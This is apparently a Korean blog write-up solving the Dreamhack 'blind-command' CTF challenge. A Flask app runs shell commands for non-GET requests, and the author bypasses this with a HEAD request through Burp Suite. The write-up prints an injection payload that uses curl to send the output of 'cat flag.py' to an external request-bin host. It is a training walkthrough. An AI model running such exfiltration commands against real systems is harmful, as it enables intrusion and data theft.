김승현

[Dreamhack : Web] blind-command 본문

Web/Dreamhack : Web

[Dreamhack : Web] blind-command

kshind 2023. 2. 23. 16:44

문제

이름부터 어려워 보인다... 접속해보자.

 

풀이

접속해보니까 별 게 없다.. 소스코드를 보자.

 

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

 

 

코드 초반부

flask와 os를 import 하고 플라스크 객체를 생성했다.

 

@app.route('/' , methods=['GET']) == host3.dreamhack.games:[port]/

cmd 변수에 전달된 cmd를 저장

 

만약 cmd가 없으면,

?cmd=[cmd]를 반환

 

만약 메소드가 GET이라면

''를

 

그게 아니라면 system cmd를 실행한다.

 

http로 보내는 요청의 내용을 변경해야 되니까 오랜만에 burp suite를 켜봤다.

burp suite는 웹 응용 프로그램의 보안 테스트를 수행하기 위한 웹 프록시 툴인데 네트워크 통신 중인 패킷을 가로채서

분석하거나 수정해서 전송하는 것과 같은 걸 할 수 있는 프로그램이다. 


진행하기 전 proxy를 위해 이 사이트를 참고 해주세요! 지금 당장 할 필욘 없어요

 

크롬 프록시 설정방법

proxy vs vpn proxy server IP 우회를 통해 해외 사이트에 접속하는 것과 같은 목적으로 사용된다. 유투브나 웹사이트에서 지역 제한이 있는 경우, IP 주소의 특정 대역을 특정 지역에 할당해 놓고, 이를

yztech.tistory.com

 

그 다음으로 드림핵 툴즈로 가서 Request Bin으로 가주세요! 

↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓

https://tools.dreamhack.games/


 

일단 아래의 이 주소를 일단 복사해둬야 한다. 

난 버프 스위트가 구버전이라 조금 다를 수도 있다. 

대충 키게 되면 여기로 오게 되는데 일단 proxy로 이동한다.

여기 오게 되면 크롬 proxy 설정 방법 사이트에 들어가서 그대로 따라하고 저장을 누른다.

그러면 사이트의 로딩이 무한으로 된다.

버프 스위트에 다시 들어가면 이렇게 intercept한 패킷이 저장 되는데 아까 소스코드에서 GET이면 안 됐기 때문에 

GET과 비슷하지만 헤더만 전송하는 HEAD를 이용했다.

 

그러고 나서 

HEAD /?cmd=curl+https://xpivikj.request.dreamhack.games/+-d+"$(cat+flag.py)" HTTP/1.1

위와 같이 코드를 작성해서 젤 첫 줄을 위의 코드로 바꿔주야 한다.

curl은 command line 기반의 웹 요청도구라고 하는데 이걸 이용해서 미리 복사해뒀던 request bin의 주소를 입력하고

flag.py를 보기 위해 cat을 사용했다. cmd이기 때문에 명령어를 사용하기 위해서 $도 앞에 붙여줬다.

이건 일단 저장해두자.

 

intercept is on 옆에 action을 누르면 send to repeater가 있는데 누르고 proxy를 눌렀던 메뉴들 중 Repeater를 누르자.

누르면 이렇게 아까 intercept한 내용이 복사되어서 옮겨졌는데 젤 윗줄을 아까 복사해둔 코드로 바꿔주자.

그러고 난 후 send를 누르면 옆에 response가 온다.

이제 request bin으로 가보자. ( 가기 전에 설정의 proxy 서버 사용을 off 해줘야 된다!)

들어가면 이렇게 시간과 경로가 뜨는데 이걸 눌러주자

그럼 이렇게 정보들과 flag값이 나오게 된다.